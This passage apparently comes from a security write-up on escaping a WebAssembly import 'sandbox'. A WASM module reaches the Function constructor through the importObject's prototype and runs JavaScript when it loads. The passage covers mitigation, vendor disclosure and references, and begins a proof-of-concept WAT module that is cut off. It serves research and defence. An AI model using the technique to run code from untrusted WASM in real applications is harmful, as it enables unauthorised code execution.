text
stringlengths
0
1.99k
3. Use String.raw() to combine the above into a single string.
4. Call the Function constructor with our payload as an argument and then
use Object.groupBy() to call its return value, executing our payload.
We combine all of this in a WASM module which executes it on load. It means
that the payload will be executed as soon as the following code is loaded
by the browser (note the empty importObject):
<script>
fetch("payload.wasm")
.then((response) => response.arrayBuffer())
.then((bytes) => WebAssembly.instantiate(bytes, {}));
</script>
The result: an alert pops up, stating "hi from WASM" :)
The full WAT code for payload.wasm is included at the end of this article.
---[ 8 - Mitigation
For a developer wanting to safely run untrusted WASM modules, the solution
is simple: make sure the importObject and every namespace inside has a
null-prototype:
const importObject = Object.assign(Object.create(null), {
"ns": Object.assign(Object.create(null), {
"logger": ...
})
})
Alternatively, you can manually inspect a WASM module's desired imports
before instantiating it [3] and refuse to run anything with imports that
you don't expect.
A process is currently ongoing to standardize an imports/exports interface,
known as WASI [4]. Some of these interfaces claim to provide levels of
(file-system) sandboxing, but it is good to know that this might be entirely
negated by this sandbox escape. For example, Node's experimental node:wasi
module [5] provides wasi.getImportObject() which will generate the required
importObject for you, but it gives it the regular Object prototype. :)
In their defense, they state:
> The node:wasi module does not currently provide the comprehensive file
> system security properties provided by some WASI runtimes.
---[ 9 - Retrospective
Crafting this exploit has been a very enjoyable challenge. To me, this is
what hacking is truly about: first, the rush of finding out about this
prototype-import "loophole", and then slowly building the sandbox escape
piece-by-piece out of functions which were not intended for this at all.
I reported this as a security issue to the Firefox, Chrome, WebKit and Node
teams in parallel. All roughly concluded the same thing: this is odd, but
currently within specification, and this "sandbox" is not technically a
security boundary that WASM was designed for (within the browser at least).
There is some desire for modifying the specification in the future, but
this is of course difficult to do in a backward-compatible manner.
This means it is currently still a feature, and we can enjoy it while it
lasts! I would love to see if anyone can find other gadgets which can help
simplify the payload; I'm sure there are other possible paths to take.
My thanks go to Ryan Hunt at Mozilla for being supportive and helping to
coordinate discussion between vendors. And finally, a shout out to my
friend Kevin Valk for being a rubber ducky while I was stuck finding the
right primitives, and for helping to document the PoC.
---[ 10 - References
[0] https://webassembly.github.io/spec/js-api/#read-the-imports
[1] https://tc39.es/ecma262/multipage/abstract-operations.html#sec-get-o-p
[2] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/groupBy
[3] https://developer.mozilla.org/en-US/docs/WebAssembly/Reference/JavaScript_interface/Module/imports_static
[4] https://wasi.dev/
[5] https://nodejs.org/api/wasi.html
---[ 11 - Full PoC
;; (Compile using `wasm-as -all`. Requires a newish version of Binaryen)
(module
;; Static methods in the Object constructor, which we can call directly
(import "constructor" "keys"
(func $keys (param externref)(result externref)))
(import "constructor" "values"
(func $values (param externref) (result externref)))
(import "constructor" "getOwnPropertyNames"
(func $getOwnPropertyNames (param externref) (result externref)))
(import "constructor" "getOwnPropertyDescriptor"
(func $getOwnPropertyDescriptor (param externref) (param externref)
(result externref)))
(import "constructor" "getOwnPropertyDescriptors"
(func $getOwnPropertyDescriptors (param externref) (result externref)))
(import "constructor" "getPrototypeOf"